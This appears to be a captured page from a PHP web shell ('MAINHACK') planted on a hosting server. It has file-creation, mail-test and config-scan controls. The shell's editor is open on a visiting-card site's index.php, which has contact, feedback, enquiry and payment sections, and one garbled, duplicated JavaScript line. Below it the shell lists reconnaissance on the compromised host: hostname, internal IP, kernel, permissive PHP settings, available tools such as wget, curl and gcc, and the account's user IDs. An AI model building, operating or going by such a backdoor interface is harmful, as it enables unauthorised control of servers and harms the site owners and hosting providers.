[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.php
<?php include('header.php'); ?> <?php if(!empty($_GET["action"])) { $sq=$show->readwithdata('visit_card','id',$_GET["id"]); while ($row = $sq->fetch(PDO::FETCH_ASSOC)){ $resultset[] = $row; } $contactResult = $row; require_once "../VcardExport.php"; $vcardExport = new VcardExport(); $vcardExport->contactVcardExportService($contactResult); exit; } ?> <div class="container"> <div class="header" id="home"> <div class="corner"></div> <div class="row"> <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12"> <div class="logo-block"> <img src="../documents/<?=$logo?>" alt="<?=$com_name?>" title="<?=$com_name?>" class="logo"> <h3 style="font-family: BlackOpsOne-Regular;"><?=$client_name?></h3> <h6 style="font-family: BlackOpsOne-Regular;"><?=$designation?></h6> </div> </div> </div> <div class="col-md-10 col-sm-10 col-xs-10" style="padding: 0;"> <table class="contact-action-table"> <tbody> <tr> <td style="float: left; width: 17%;"> <div class="trapezoid"> <a target="_blank" href="tel:<?=$client_phone1?>" class="contact-action-container-icon"> <i class="fa fa-phone fa-flip-horizontal"></i> </a> </div> </td> <td style="float: right;padding: 40px 0 0 0; text-align: left;width: 80%;"> <a target="_blank" href="tel:<?=$client_phone1?>" class="contact-action-container-text"> <?=$client_phone1?> </a> </td> </tr> <tr> <td style="float: left; width: 17%;"> <div class="trapezoid"> <a target="_blank" href="<?=$google_link?>" class="contact-action-container-icon"> <i class="fa fa-chrome"></i> </a> </div> </td> <td style="float: right;padding: 16px 0 0 0; text-align: left;width: 80%;"> <a target="_blank" href="" class="contact-action-container-text address-text"> <?=$client_company_website?> </a> </td> </tr> <tr> <td style="float: left; width: 17%;"> <div class="trapezoid"> <a target="_blank" href="mailto: <?=$client_email?>" class="contact-action-container-icon"> <i class="fa fa-envelope"></i> </a> </div> </td> <td style="float: right;padding: 40px 0 0 0; text-align: left;width: 80%;"> <a href="mailto: <?=$client_email?>" class="contact-action-container-text"> <?=$client_email?> </a> </td> </tr> <tr> <td style="float: left; width: 17%;"> <div class="trapezoid"> <a target="_blank" href="https://api.whatsapp.com/send?phone=<?=$client_watsapp?>&text=Hi, Rahul incrementertech" class="contact-action-container-icon"> <i class="fa fa-whatsapp"></i> </a> </div> </td> <td style="float: right;padding: 15px 0 0 0; text-align: left;width: 80%;"> <a target="_blank" href="https://api.whatsapp.com/send?phone=<?=$client_watsapp?>&text=Hi, Rahul incrementertech" class="contact-action-container-text" style=" color: #00258a;"> <?=$client_watsapp?> </a> </td> </tr> <tr> <td style="float: left; width: 17%;"> <div class="trapezoid"> <a target="_blank" href="<?=$google_link?>" class="contact-action-container-icon" class="contact-action-container-icon"> <i class="fa fa-map-marker"></i> </a> </div> </td> <td style="float: right;padding: 15px 0 0 0; text-align: left;width: 80%;"> <a href="" class="contact-action-container-text" style=" color: #00258a; font-size: 16px; line-height: 25px; padding: 10px 0 0 15px;"> <?=$client_address?> </a> </td> </tr> </tbody> </table> </div> <div class="col-md-2 col-sm-2 col-xs-2" style="padding: 0;"> <table class="contact-action-table" style="margin: 0 0 0 10px;"> <tbody> <tr> <td style="float: left; width: 17%;"> <div class="trapezoid"> <a target="_blank" href="<?=$facebook?>" class="contact-action-container-icon"> <i class="fa fa-facebook"></i> </a> </div> </td> </tr> <tr> <td style="float: left; width: 17%;"> <div class="trapezoid"> <a target="_blank" href="<?=$twitter?>" class="contact-action-container-icon"> <i class="fa fa-twitter"></i> </a> </div> </td> </tr> <tr> <td style="float: left; width: 17%;"> <div class="trapezoid"> <a target="_blank" href="<?=$instagram?>" class="contact-action-container-icon"> <i class="fa fa-instagram"></i> </a> </div> </td> </tr> <tr> <td style="float: left; width: 17%;"> <div class="trapezoid"> <a target="_blank" href="<?=$linkedin?>" class="contact-action-container-icon"> <i class="fa fa-linkedin"></i> </a> </div> </td> </tr> </tbody> </table> </div> <script> function myFunction() { var txt = document.getElementById('mbl').value; var txt1 = document.getElementById('country_code').value; var link="This is <?=$client_name?>, <?=$com_name?>, Please find my digital visiting card below."+ '\n\n' +": <?=$link_url?>/cards/<?=$dir?>" + '\n\n' +" -----------------------------------------------------------------------------------------------------------------------------------------Get your digital visiting card today, "+ '\n\n' +" visit :<?=$link_url?> "; Get your digital visiting card today, visit :<?=$link_url?> "; var url= 'https://wa.me/'+txt1+''+txt+'?text='+link+'' ; // document.getElementById("myAnchor").href = "http://www.cnn.com/"; document.getElementById("swhatsapp").href = url; //document.getElementById("demo").innerHTML = "The link above now goes to www.cnn.com."; } </script> <div class="dropdown-top"> <form action="" id="form" method="post"> <input type="hidden" id="country_code" value="91"> <div class="input-group"> <input type="text" class="whatsapp" oninput="myFunction()" style="" id="mbl" name="mbl" placeholder="Enter Whatsapp Number" required=""> </div> <div class="input-group"> <a href="" style="background: #68bb64;" class="whatsapp-button" id="swhatsapp" target="_blank" name="submit1"><i class="fa fa-whatsapp"></i> Whatsapp share </a> </div> <div class="input-group" style=""> <!-- <button style=" border-bottom: 5px solid #02c49b; border-radius: 5px; border: none;">Add to phone book <i class="fa fa-download"></i></button> --> <a href="../vc_card.php?action=export&id=<?=$c_id?>" target="_blank" title="Download"> <i class="fa fa-download"></i> Add to phone book </a> </div> <div class="input-group"> <button type="button" style="border-bottom: 5px solid #02c49b; border-radius: 5px; border: none;" class="btn btn-info btn-lg" data-toggle="modal" data-target="#myModal"> <i class="fa fa-share-alt"></i> Share</button> </div> </form> </div> <div class="corner-bottom"></div> </div> </div> <?php if($client_about!=''){?> <!-- About --> <div class="container"> <div class="about-top" id="about"> <h2>About Us</h2> <h3><?=$com_name?></h3> <p><?=$client_about?> </p> </div> </div> <?php } ?> <?php $count=1; $sr='service'; $stmt =$show->readwithdata($sr,'card_id',$cid); $num = $stmt->rowCount(); if($num>0){ ?> <!-- service --> <div class="container"> <div class="service-top" id="service"> <h2>Services / Product</h2> <div id="services-slider" class="owl-carousel"> <?php while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ ?> <div class="item"> <h5 style="text-align: center;"><?=$row['service_title']?></h5> <img src="../documents/<?=$row['service_img']?>" alt="" class="pro-img"> <a href="#">Contact</a> </div> <?php } ?> </div> </div> </div> <?php } ?> <?php $count=1; $stmt =$show->readwithdata('gallery','card_id',$cid); $num = $stmt->rowCount(); if($num>0){ ?> <!-- GALLERY --> <div class="container"> <div class="gallery-top" id="gallery"> <h2>Gallery</h2> <div id="gallery-slider" class="owl-carousel"> <?php while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ ?> <div class="item"> <img src="../documents/<?=$row['img']?>" alt="" class="gallery-img"> </div> <?php } ?> </div> </div> </div> <?php } ?> <?php $count=1; $stmt =$show->readwithdata('video','card_id',$cid); $num = $stmt->rowCount(); if($num>0){ ?> <!-- video --> <div class="container"> <div class="video-top" id="video"> <h2>Video</h2> <div id="video-slider" class="owl-carousel"> <?php while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ ?> <div class="item"> <iframe width="100%" height="auto" src="https://www.youtube.com/embed/<?=$row['url']?>" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> </div> <?php } ?> </div> </div> </div> <?php } ?> <!-- feedback --> <div class="container"> <div class="feedback-top" id="feedback"> <div class="corner"></div> <h2>Feedback</h2> <form action="" id="form" method="post"> <div class="input-group"> <input type="text" name="feedback_name" placeholder="Enter Your Name" required=""> </div> <div class="input-group"> <input type="text" name="feedback" placeholder="Enter Feedback" required=""> </div> <input type="submit" value="Submit" name="feedback_submit"> </form> <?php if(isset($_POST['feedback_submit'])){ $data=array( 'client_id'=>$client[1], 'card_id'=>$cid, 'feedback_name'=>htmlentities(strip_tags($_POST['feedback_name'])), 'feedback'=>htmlentities(strip_tags($_POST['feedback'])), 'date'=>date('Y-m-d'), ); // print_r($data); // $r=$show->insert('feedback',$data); $email_subject = "Feedback Confirmation"; $em11='<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">'; $email_content1="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Registration</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='../documents/<?=$logo?>' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to $com_name</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi Admin,<br><br> Hi You got a feedback !! Name : ".htmlentities(strip_tags($_POST['feedback_name']))."<br> Feedback : ".htmlentities(strip_tags($_POST['feedback']))." <br> <br><br><br><br> <br> </td></tr> </tr> </table> <p><b>$com_name</b><br> Web : $client_company_website<br> Email : $client_email<br> Phone : $client_phone<br> </p> <small>Copyright ©<?=date('Y')?> $com_name,$client_address. All rights reserved. </small> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(@mail($client_email,$email_subject,$email_content1,$headers)) { // echo "<script>window.location.href='otp.php?id=".base64_encode($capcha)."&uid=".base64_encode($id)."&m=".base64_encode($mail_id)."'</script>"; } echo '<script>alert("Thank You! for your Feedback...");</script>'; } ?> <div class="corner-bottom"></div> </div> </div> <!-- ENQUIRY FORM --> <div class="container"> <div class="enquuiry-top" id="enquuiry"> <div class="corner"></div> <h2>Enquiry Form</h2> <form action="" id="form" method="post"> <div class="input-group"> <input type="text" name="enquiry_name" placeholder="Enter Your Name" required=""> </div> <div class="input-group"> <input type="email" name="enquiry_email" required=""> </div> <div class="input-group"> <input type="text" name="enquiry_phone" required=""> </div> <div class="input-group"> <textarea name="enquiry_message" required="">Enter Message...</textarea> </div> <input type="submit" value="Submit" name="enquiry_submit"> </form> <?php if(isset($_POST['enquiry_submit'])){ $data=array( 'client_id'=>$client[1], 'card_id'=>$cid, 'enquiry_name'=>htmlentities(strip_tags($_POST['enquiry_name'])), 'enquiry_email'=>htmlentities(strip_tags($_POST['enquiry_email'])), 'enquiry_phone'=>htmlentities(strip_tags($_POST['enquiry_phone'])), 'enquiry_message'=>htmlentities(strip_tags($_POST['enquiry_message'])), 'date'=>date('Y-m-d'), ); // print_r($data); // $r=$show->insert('enquiry',$data); $email_subject = "Enquiry Confirmation"; $em11='<html><head>'; $email_content1="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Registration</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='../documents/<?=$logo?>' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to $com_name</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi Admin,<br><br> Hi You got a Enquiry !! Name : ".htmlentities(strip_tags($_POST['enquiry_name']))."<br> Email : ".htmlentities(strip_tags($_POST['enquiry_email']))."<br> Phone : ".htmlentities(strip_tags($_POST['enquiry_phone']))."<br> Message : ".htmlentities(strip_tags($_POST['enquiry_message']))." <br> <br><br><br><br> <br> </td></tr> </tr> </table> <p><b>$com_name</b><br> Web : $client_company_website<br> Email : $client_email<br> Phone : $client_phone<br> </p> <small>Copyright ©<?=date('Y')?> $com_name,$client_address. All rights reserved. </small> </body></html>"; $email_content="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Registration</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='../documents/<?=$logo?>' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to $com_name</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi Admin,<br><br> Thank You !!..For your enquiry with us. <br> <br><br><br><br> <br> </td></tr> </tr> </table> <p><b>$com_name</b><br> Web : $client_company_website<br> Email : $client_email<br> Phone : $client_phone<br> </p> <small>Copyright ©<?=date('Y')?> $com_name,$client_address. All rights reserved. </small> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(@mail($client_email,$email_subject,$email_content1,$headers) && @mail($_POST['enquiry_email'],$email_subject,$email_content,$headers)) { // echo "<script>window.location.href='otp.php?id=".base64_encode($capcha)."&uid=".base64_encode($id)."&m=".base64_encode($mail_id)."'</script>"; } echo '<script>alert("Thank You! for your enquiry...");</script>'; } ?> <div class="corner-bottom"></div> </div> </div> <!-- PAYMENT --> <div class="container"> <?php if($c_paytm!='' || $c_phonepe!='' || $c_gpay!='' || $bank!='' || $ifsc_code!='' || $ac_name!='' || $ac_no!=''){ ?> <div class="payment-top" id="payment"> <div class="corner"></div> <h2>Payment</h2> <div class="pay-det"> <?php if($c_paytm!=''){ ?><p>Paytm Number<span> : <?=$c_paytm?></span></p><?php } ?> <?php if($c_phonepe!=''){ ?><p>Phone Pe Number<span> : <?=$c_phonepe?></span></p><?php } ?> <?php if($c_gpay!=''){ ?><p>GPAY Number<span> : <?=$c_gpay?></span></p><?php } ?> </div> <div class="pay-det"> <h3>Account Details</h3> <br> <?php if($bank!=''){ ?><p>Bank Name<span> : <?=$bank?></span></p><?php } ?> <?php if($ifsc_code!=''){ ?><p>IFSC code<span> : <?=$ifsc_code?></span></p><?php } ?> <?php if($ac_name!=''){ ?><p>Name<span> : <?=$ac_name?></span></p><?php } ?> <?php if($ac_no!=''){ ?><p>Account Number<span> : <?=$ac_no?></span></p><?php } ?> </div> <div class="pay-det"> <?php if($paytm_img!='' || $phonepay_img!='' || $gpay_img!=''){ ?> <h3>QR Codes</h3> <?php } ?> <br> <?php if($paytm_img!=''){ ?><img src="../documents/<?=$paytm_img?>" alt="" class="pay-img"><?php } ?> <?php if($phonepay_img!=''){ ?><img src="../documents/<?=$phonepay_img?>" alt="" class="pay-img"><?php } ?> <?php if($gpay_img!=''){ ?><img src="../documents/<?=$gpay_img?>" alt="" class="pay-img"> <?php } ?> </div> </div> <?php } ?> <br> <br> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619